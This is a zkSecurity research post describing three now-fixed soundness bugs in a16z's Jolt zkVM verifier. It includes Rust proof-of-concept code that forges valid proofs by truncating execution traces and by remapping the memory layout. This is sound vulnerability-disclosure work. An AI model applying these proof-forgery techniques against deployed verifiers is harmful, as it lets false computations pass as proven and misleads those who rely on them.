ZK/SEC Research notes from zkSecurity
All posts
Jolt · Part 2 of 4

Improving the Security of the Jolt zkVM

Jolt zkVM security

Over the past few weeks, zkSecurity took a deep dive into a16z’s Jolt zkVM. This joint effort with a16z aimed to help strengthen the security of their zero-knowledge (ZK) stack. Jolt’s zkVM is positioned to become a key player in the zk space, and security work like this is essential to ensuring it can deliver on its promises.

Through this review, we uncovered several significant bugs. These issues could allow a malicious prover to forge proofs with ease, posing serious risks. While this was not a formal audit, it demonstrates the value of manual inspection in catching critical vulnerabilities.

What's Jolt zkVM?

A zkVM (Zero-Knowledge Virtual Machine) uses zero-knowledge proofs to prove and verify computations in specific ISA (Instruction Set Architecture). Jolt, developed by a16z, is a zkVM designed for the RISC-V architecture. It enables programs written in high-level languages like Rust, C, and C++ (compiled to RISC-V assembly) to be efficiently proven by an untrusted prover and succinctly verified by anyone.

To prove a program, Jolt first compiles the program into RISC-V assembly binary and executes the binary to get an execution trace. Then the main work is to prove that the execution trace is valid. At a high level, the proof involves with three parts:

  1. Instruction lookup to prove the execution of each instruction

  2. Offline memory checking to ensure the read/write of memory are consistent.

  3. R1CS constraints to "glue" each part of the execution like the program counter (PC) update.

The instruction lookup is what makes Jolt unique (Jolt stands for "just one single lookup"). Unlike other zkVMs that rely on custom constraints for each instruction, Jolt uses Lasso lookup technique for all instruction execution. This approach not only improves prover efficiency but also significantly reduces the system's complexity. As a result, Jolt offers better auditability and extensibility, making it easier to maintain and scale. For more details, we will have a blog post about how Jolt works. Stay tuned for updates!

Our Findings

Our review uncovered several key security flaws in the implementation of Jolt zkVM.

Truncated execution trace can still be valid

The Jolt verifier is basically checking the correctness of each step in the fetch-decode-execute cycle. If every step in the execution trace is correct, the entire computation is considered valid. However, the verifier does not check whether the execution eventually terminates. As a result, if a valid execution trace is truncated before completion, the verifier will validate the individual steps and still consider the trace to be valid, even though the computation is incomplete. In such cases, the output will be incorrect, as the memory containing the final output might not have been written. This vulnerability allows a prover to forge a proof using a truncated trace and incorrect outputs.

To exploit this bug, we can truncate a valid trace and set the output to 0, and the proof will still be considered valid. The example below creates a fake proof for fib(9) = 0:

    fn fib_e2e<F: JoltField, PCS: CommitmentScheme<Field = F>>() {
        let artifact_guard = FIB_FILE_LOCK.lock().unwrap();
        let mut program = host::Program::new("fibonacci-guest");
        program.set_input(&9u32);
        let (bytecode, memory_init) = program.decode();
        let (mut io_device, mut trace) = program.trace();

        println!("origin trace length {}", trace.len());
        trace.truncate(100); // truncate the trace
        println!("truncated trace length {}", trace.len());
        io_device.outputs[0] = 0; // change the output to 0
        drop(artifact_guard);

        let preprocessing =
            RV32IJoltVM::preprocess(bytecode.clone(), memory_init, 1 << 20, 1 << 20, 1 << 20);
        let (proof, commitments, debug_info) =
            <RV32IJoltVM as Jolt<F, PCS, C, M>>::prove(io_device, trace, preprocessing.clone());
        let verification_result =
            RV32IJoltVM::verify(preprocessing, proof, commitments, debug_info);
        assert!(
            verification_result.is_ok(),
            "Verification failed with error: {:?}",
            verification_result.err()
        );
    }

The jolt team has fixed this issue by providing the termination bit. A successfully terminated program will set the termination bit to 1. The verifier now will always check if the program terminated or panicked.

Output check is not constrained as expected

A key part of the Jolt verifier is to check if the purported program output is consistent with the execution output. Jolt uses the OutputSumcheckProof component for that. It checks if the output data is equal to the final memory value at specific addresses.

To do that, Jolt introduces a 'mask' polynomial mask_poly which evaluates to 1 at the address of input/output and to 0 at other places. Then, it checks mask_poly * (final_memory_value_poly - input_output_value_poly) = 0. However, due to oversight, the mask_poly is incorrectly constructed to a zero polynomial. This makes that arbitrary input_output_value_poly will pass the check. This means the output check is not working and arbitrary output will pass the check.

Besides, we identified in the verifier, the mask_poly and input_output_value_poly are evaluated to incorrect values. It's due to the first bug that this bug is not caught in the test.

Our pull request has been merged to fix this issue.

Prover can use arbitrary memory layout

To perform offline memory checking, Jolt treats registers, program I/O, and RAM as a single address space mapped within the memory_layout. The structure of this memory layout is fixed, although the sizes of the program I/O and RAM may vary depending on the program.

Since the memory layout only needs to be constructed once, the verifier can treat it as preprocessing material. However, the previous implementation includes the memory layout as part of the proof. This way, it allows malicious prover to be able to set the memory address at will.

To exploit this bug, prover can to set the memory address of the termination bit and output to match the input's address. This ensures those values will always mirror the input, which is in prover's control, while still maintaining a valid proof:

fn forge_memory_layout() {
    let artifact_guard = FIB_FILE_LOCK.lock().unwrap();
    let mut program = host::Program::new("fibonacci-guest");
    program.set_input(&[1u8]);
    let (bytecode, memory_init) = program.decode();
    let (mut io_device, mut trace) = program.trace();
    // trace needs to be truncated 
    // to ensure our output is not overwritten by the program
    trace.truncate(100);

    // first index of the input needs to be 1
    // to make termination bit equal true
    // due to the fix of the first bug
    io_device.inputs = (&[1, 3, 3, 7]).to_vec();

    // change the output to the same as input
    io_device.outputs = (&[1, 3, 3, 7]).to_vec();
    drop(artifact_guard);

    // change memory address of output & termination bit to the same address as input
    io_device.memory_layout.output_start = io_device.memory_layout.input_start;
    io_device.memory_layout.output_end = io_device.memory_layout.input_end;
    io_device.memory_layout.termination = io_device.memory_layout.input_start;

    let preprocessing =
        RV32IJoltVM::preprocess(bytecode.clone(), memory_init, 1 << 20, 1 << 20, 1 << 20);
    let (proof, commitments, debug_info) = <RV32IJoltVM as Jolt<
        Fr,
        HyperKZG<Bn254, KeccakTranscript>,
        C,
        M,
        KeccakTranscript,
    >>::prove(
        io_device, trace, preprocessing.clone()
    );
    let verification_result =
        RV32IJoltVM::verify(preprocessing, proof, commitments, debug_info);
    assert!(
        verification_result.is_ok(),
        "Verification failed with error: {:?}",
        verification_result.err()
    );
}

Additionally, the prover can also modify the panic bit to forge panicked program to unpanicked one.

The jolt team fixed this issue by moving memory_layout to the preprocessing material, ensuring it is independent of the prover's input.

Summary

This joint effort with the Jolt team uncovered several critical vulnerabilities in Jolt zkVM, such as issues with execution trace validation, output checking, and memory layout constraints. These bugs, now fixed, could have allowed malicious provers to bypass verification.

This work highlights the importance of audits in zkVMs, where deep tech stacks can mask critical issues. As zkVM technology evolves, we'll continue examining Jolt and zkVM security, sharing insights to help strengthen these innovative systems.

Keep reading
Latest

Variants of KZG: Part III, Multilinear Commitments with Zeromorph

In this blog post, we extend univariate KZG commitments to multilinear polynomials through Zeromorph. We introduce the univariatization map, encode the multilinear quotient identity as a univariate identity, and explain why the quotient encodings require degree checks. We then show how Zeromorph batches these checks into a single degree-bounded KZG opening and walk through its end-to-end opening protocol. We conclude by examining its proof size, prover cost, and verifier cost.

Varun Thakore · August 04, 2026

Variants of KZG: Part II, Multilinear Commitments with PST

In this blog post, we extend the ideas behind univariate KZG commitments to multilinear polynomials through the PST commitment scheme. We derive the multilinear quotient identity, explain how PST commits to and opens multilinear polynomials using a specialized multilinear setup and walk through its opening protocol. We conclude by examining the proof size, prover and verifier costs, and the limitations that motivate other multilinear polynomial commitment schemes.

Varun Thakore · July 28, 2026

Threshold ECDSA: Building CGGMP from scratch

A step-by-step build of CGGMP, an n-of-n threshold ECDSA scheme where parties jointly produce a signature without ever reconstructing the private key. We start from the multiplicative-to-additive (MtA) protocol and a semi-honest version of the signing protocol, then harden it into a maliciously secure one by layering in zero-knowledge proofs at each step. Along the way we cover the auxiliary Ring-Pedersen and Paillier parameters and the proofs that make them safe to use.

Samuel Tang · July 27, 2026
Recommended

Faster Sumchecks: Part I

In this blog post, we explore how to optimize the sumcheck protocol, particularly when working with values in a small field and randomness from a large field, as often needed in zkVMs. We introduce various algorithms aimed at reducing expensive operations, focusing on minimizing large multiplications. Starting from using simple evaluation tables to more sophisticated techniques like precomputing accumulators and leveraging Lagrange interpolation, we demonstrate how to efficiently organize computations to speed up proving times. Readers will gain insights into handling arithmetic operations within the sumcheck protocol and learn about optimizing specific cases in zero-knowledge proofs.

Jason Park · November 21, 2025

WE-KZG: Encrypt to KZG.

Ever wondered if you could create a ciphertext that's only decrypted when a polynomial inside a commitment has a particular value? We’ve explored this notion using KZG commitments in our latest Asiacrypt 2024 paper. Dive into the elegant world of Witness Encryption and see how it can be applied in cool ways like Laconic Oblivious Transfer. This approach keeps things as efficient as regular KZG operations and might just spark some creative applications of your own! Curious to learn more? Let’s explore together!

Mathias Hall-Andersen · October 08, 2024

Powers-of-Funbenius

A one-character repeated-squaring bug in Inferno's Limbo implementation turns the intended random polynomial check into a linearized Frobenius check over a binary extension field. This post walks through why the usual Schwartz-Zippel argument disappears, how periodicity of the Frobenius map makes collisions immediate after 64 multiplication gates, and how even smaller circuits can cheat with noticeably higher probability.

Mathias Hall-Andersen · May 05, 2026
More to explore

You like Circom but you find it confusing? Introducing Circomscribe

Dive into our exploration of Circomscribe, a nifty tool designed to illuminate the mysterious process of how your Circom code gets translated into constraints. We share insights from our experience with Circom circuit audits, highlighting common pitfalls developers face when their high-level intentions meet low-level reality. By showcasing how Circomscribe can help visualize this transition, we aim to empower developers to craft more bug-free, secure ZK applications. If you're keen on understanding the inner workings of Circom and enhancing your coding prowess, this post is your guide.

ZK/SEC · August 26, 2023

Halo2's Elegant Transcript As Proof

In this blog post, we explore a clever design in Zcash's halo2 implementation for securing the Fiat-Shamir transformation. By using a mutable transcript, the process ensures that values are automatically absorbed, reducing potential bugs. You'll find explanations of the distinct roles of `write` and `read` functions for points and scalars, highlighting how this abstraction makes the prover-verifier interaction seamless and secure. If you're curious about the inner workings of cryptographic protocols, this is a fascinating read.

David Wong · September 30, 2025

Breaking Jolt’s Verifier with an Unbound Uni-Skip Claim

We found a critical soundness bug in Jolt’s transparent verifier that allowed a forged proof for an invalid execution to verify. The issue was fixed quickly after disclosure, and the full PoC and write-up are available in the linked repository.

Minsun Kim · May 09, 2026